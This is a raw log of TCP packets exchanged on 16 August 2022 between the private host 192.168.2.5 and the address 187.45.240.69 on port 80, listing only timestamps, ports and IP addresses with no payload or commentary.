Aug 16, 2022 11:45:09.166354895 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166354895 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166368961 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166384935 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166397095 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166413069 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166428089 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166441917 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166455030 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166471004 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166498899 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166505098 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166518927 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166527033 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166555882 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166559935 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166577101 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166588068 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166603088 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166615963 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166630030 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166642904 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166659117 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166671038 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166686058 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166701078 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166717052 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166728020 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166743040 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166755915 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166769981 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166784048 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166799068 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166810989 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166826963 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166837931 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166853905 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166866064 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166878939 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166893959 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166904926 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166922092 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166933060 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166949034 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166963100 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166975975 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166987896 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.167004108 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.167017937 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.167032003 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.167042971 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.167058945 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.167077065 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.167087078 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.167103052 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.167117119 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.167130947 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.167145967 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.167162895 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.167172909 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.167187929 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.167201042 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.167217016 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.167228937 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.167244911 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.167256117 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.167285919 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.167289019 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.167316914 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.167337894 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.206223011 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.206331015 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.209033012 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.387862921 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.387902975 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.387931108 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.387940884 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.387959957 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.387981892 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.387988091 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.388012886 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.388015985 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.388045073 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.388046026 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.388073921 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.388081074 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.388102055 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.388108015 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.388128996 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.388144970 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.388150930 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.388179064 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.388180971 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.388206959 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.388211012 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.388225079 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.388236046 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.388245106 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.388263941 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.388266087 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.388292074 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.388294935 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.388319016 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.388322115 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.388345957 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.388348103 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.388372898 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.388379097 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.388406038 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.391000032 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.391040087 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.391068935 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.391093016 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.391993999 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.392024040 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.392054081 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.392076969 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.392126083 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.392154932 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.392165899 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.392189026 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.392636061 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.392661095 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.392683983 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.392688036 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.392709017 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.392714977 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.392750025 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.392791986 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.392821074 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.392846107 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.392857075 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.392869949 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.392880917 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.392904997 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.392910004 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.392935038 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.392946959 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.392959118 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.392973900 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.392992020 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393007994 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393029928 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393033028 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393069029 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393090963 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393115997 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393129110 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393141031 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393150091 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393165112 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393188000 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393191099 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393201113 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393214941 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393229961 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393239021 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393258095 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393273115 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393287897 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393311977 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393328905 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393336058 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393359900 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393361092 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393383980 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393388987 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393403053 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393424988 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393532991 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393558025 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393575907 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393582106 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393600941 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393619061 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393636942 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393671036 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393692970 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393717051 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393727064 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393752098 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393866062 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393889904 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393908978 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393913031 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393935919 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393939018 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393958092 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.393964052 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.393989086 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.394011974 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.394489050 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.394515038 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.394541979 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.394545078 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.394566059 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.394573927 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.394592047 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.394617081 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.394618988 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.394639969 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.394653082 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.394665003 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.394687891 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.394687891 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.394730091 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.394735098 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.394743919 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.394758940 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.394764900 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.394783974 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.394792080 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.394819021 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.396971941 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397030115 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397048950 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397057056 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397077084 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397100925 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397109985 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397125959 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397149086 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397157907 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397172928 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397187948 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397208929 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397233009 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397252083 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397257090 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397258043 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397269964 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397281885 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397294044 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397305012 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397317886 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397330046 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397341013 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397352934 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397367001 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397392035 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397437096 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397469997 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397815943 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397840977 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397854090 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397866011 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397876024 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397890091 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397898912 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397914886 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397923946 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397948027 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.397954941 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397979021 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.397989988 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398001909 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398010969 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398036003 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398070097 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398093939 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398108959 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398118019 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398130894 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398143053 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398153067 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398166895 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398176908 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398191929 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398202896 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398216009 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398226023 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398240089 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398251057 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398264885 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398276091 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398288012 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398299932 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398312092 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398319960 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398335934 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398345947 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398353100 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398370981 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398376942 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398391008 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398400068 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398416042 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398425102 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398436069 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398449898 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398463964 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398474932 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398490906 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398499012 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398510933 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398523092 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398545027 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398545980 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398570061 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398580074 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398593903 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398617983 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398623943 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398643017 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398665905 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398679972 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398688078 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398704052 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398710966 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398732901 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398740053 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398756027 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398760080 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398778915 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398780107 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398801088 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398803949 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398823977 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398828983 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398848057 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398853064 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398869038 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398875952 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398890018 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398900032 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398915052 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398924112 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398935080 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398947954 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398961067 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398973942 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.398983002 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.398998976 CEST	80	49837	187.45.240.69	192.168.2.5
